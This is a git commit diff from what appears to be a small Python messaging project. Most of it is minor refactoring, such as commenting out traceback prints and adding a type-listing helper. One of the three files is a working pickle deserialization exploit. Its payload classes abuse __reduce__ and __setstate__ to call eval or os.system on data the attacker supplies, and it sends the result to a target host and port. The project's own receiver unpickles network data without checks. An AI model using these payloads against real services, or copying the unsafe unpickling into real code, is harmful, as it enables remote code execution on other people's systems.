Updates to all scripts.

This commit is contained in:
Captain ALM 2022-12-10 13:12:55 +00:00
parent 96d9e430b2
commit c44110515e
Signed by: alfred
GPG Key ID: 4E4ADD02609997B1
3 changed files with 35 additions and 26 deletions

13
main.py
View File

@ -2,7 +2,7 @@
import networker as net import networker as net
import sys import sys
from threading import Thread from threading import Thread
import traceback #import traceback
translators = (net.PickleTranslate(), net.JSONTranslate()) translators = (net.PickleTranslate(), net.JSONTranslate())
@ -13,6 +13,13 @@ conn = None
allowFiles = False allowFiles = False
log = [] log = []
def listAsTypes(lin):
toret = "["
for x in lin:
toret += str(type(x)) + ", "
toret = toret[:-2]
return toret + "]"
def onConn(addr): def onConn(addr):
log.append(addr + " # Connection Established") log.append(addr + " # Connection Established")
@ -103,7 +110,7 @@ def main():
except Exception as e: except Exception as e:
print("Command Error!") print("Command Error!")
print(traceback.format_exc()) #print(traceback.format_exc())
exit exit
@ -120,7 +127,7 @@ if __name__ == "__main__":
if len(sys.argv) > 3: if len(sys.argv) > 3:
translator = translators[int(sys.argv[3]) - 1] translator = translators[int(sys.argv[3]) - 1]
else: else:
translator = translators[int(input("Enter the message translator position " + str(translators) + " : ")) - 1] translator = translators[int(input("Enter the message translator position " + listAsTypes(translators) + " : ")) - 1]
main() main()

View File

@ -5,7 +5,7 @@ import socket
import time import time
from threading import Thread from threading import Thread
import base64 import base64
import traceback #import traceback
#Defines a message class that has a type, header and a body. #Defines a message class that has a type, header and a body.
class Message: class Message:
@ -69,13 +69,13 @@ class PickleTranslate:
try: try:
return pickle.dumps(m) return pickle.dumps(m)
except: except:
print(traceback.format_exc()) #print(traceback.format_exc())
return None return None
def fromString(self, b): def fromString(self, b):
try: try:
return pickle.loads(b) return pickle.loads(b)
except: except:
print(traceback.format_exc()) #print(traceback.format_exc())
return None return None
#JSON Translator for Message to and from bytes. #JSON Translator for Message to and from bytes.
@ -84,13 +84,13 @@ class JSONTranslate:
try: try:
return json.dumps(m.toDict()) return json.dumps(m.toDict())
except: except:
print(traceback.format_exc()) #print(traceback.format_exc())
return None return None
def fromString(self, b): def fromString(self, b):
try: try:
return MessageFromDict(json.loads(b)) return MessageFromDict(json.loads(b))
except: except:
print(traceback.format_exc()) #print(traceback.format_exc())
return None return None
#Connection class #Connection class

View File

@ -2,49 +2,50 @@
#Be RESPONSIBLE when using this! #Be RESPONSIBLE when using this!
import networker as net import networker as net
import pickle import pickle
import traceback
import sys import sys
#import traceback
#Payloads: #Payloads:
#State payloads only work if the Object is available at the target #State payloads only work if the Object is available at the target
class StatePXP: class ExpBase:
def __init__(self, data): def __init__(self, data):
self.data = data self.data = data
class StateBase(ExpBase):
def __getstate__(self): def __getstate__(self):
return self.data return self.data
class StatePXP(StateBase):
def __setstate__(self, state): def __setstate__(self, state):
self.data = state self.data = state
print(self.data) print(self.data)
class ReducePXP: class ReducePXP(ExpBase):
def __init__(self, data):
self.data = data
def __reduce__(self): def __reduce__(self):
return print, (self.data,) return print, (self.data,)
class StateEXP: class StateEXP(StateBase):
def __init__(self, data):
self.data = data
def __getstate__(self):
return self.data
def __setstate__(self, state): def __setstate__(self, state):
self.data = state self.data = state
eval(self.data) eval(self.data)
class ReduceEXP: class ReduceEXP(ExpBase):
def __init__(self, data):
self.data = data
def __reduce__(self): def __reduce__(self):
return eval, (self.data,) return eval, (self.data,)
class ReduceSXP: class ReduceSXP(ExpBase):
def __init__(self, data):
self.data = data
def __reduce__(self): def __reduce__(self):
import os import os
return os.system, (self.data,) return os.system, (self.data,)
def listAsTypes(lin):
toret = "["
for x in lin:
toret += str(type(x)) + ", "
toret = toret[:-2]
return toret + "]"
payloads = (StatePXP(""), ReducePXP(""), StateEXP(""), ReduceEXP(""), ReduceSXP("")) payloads = (StatePXP(""), ReducePXP(""), StateEXP(""), ReduceEXP(""), ReduceSXP(""))
payload = None payload = None
taddr = "" taddr = ""
@ -68,7 +69,8 @@ def main():
conn.send(taddr+":"+str(tport), payload) conn.send(taddr+":"+str(tport), payload)
print("Exploited!") print("Exploited!")
except: except:
print(traceback.format_exc()) #print(traceback.format_exc())
pass
conn.close() conn.close()
exit exit
@ -85,7 +87,7 @@ if __name__ == "__main__":
if len(sys.argv) > 3: if len(sys.argv) > 3:
plid = int(sys.argv[3]) - 1 plid = int(sys.argv[3]) - 1
else: else:
plid = int(input("Enter the payload position " + str(payloads) + " : ")) - 1 plid = int(input("Enter the payload position " + listAsTypes(payloads) + " : ")) - 1
if len(sys.argv) > 4: if len(sys.argv) > 4:
pldata = sys.argv[4] pldata = sys.argv[4]
else: else: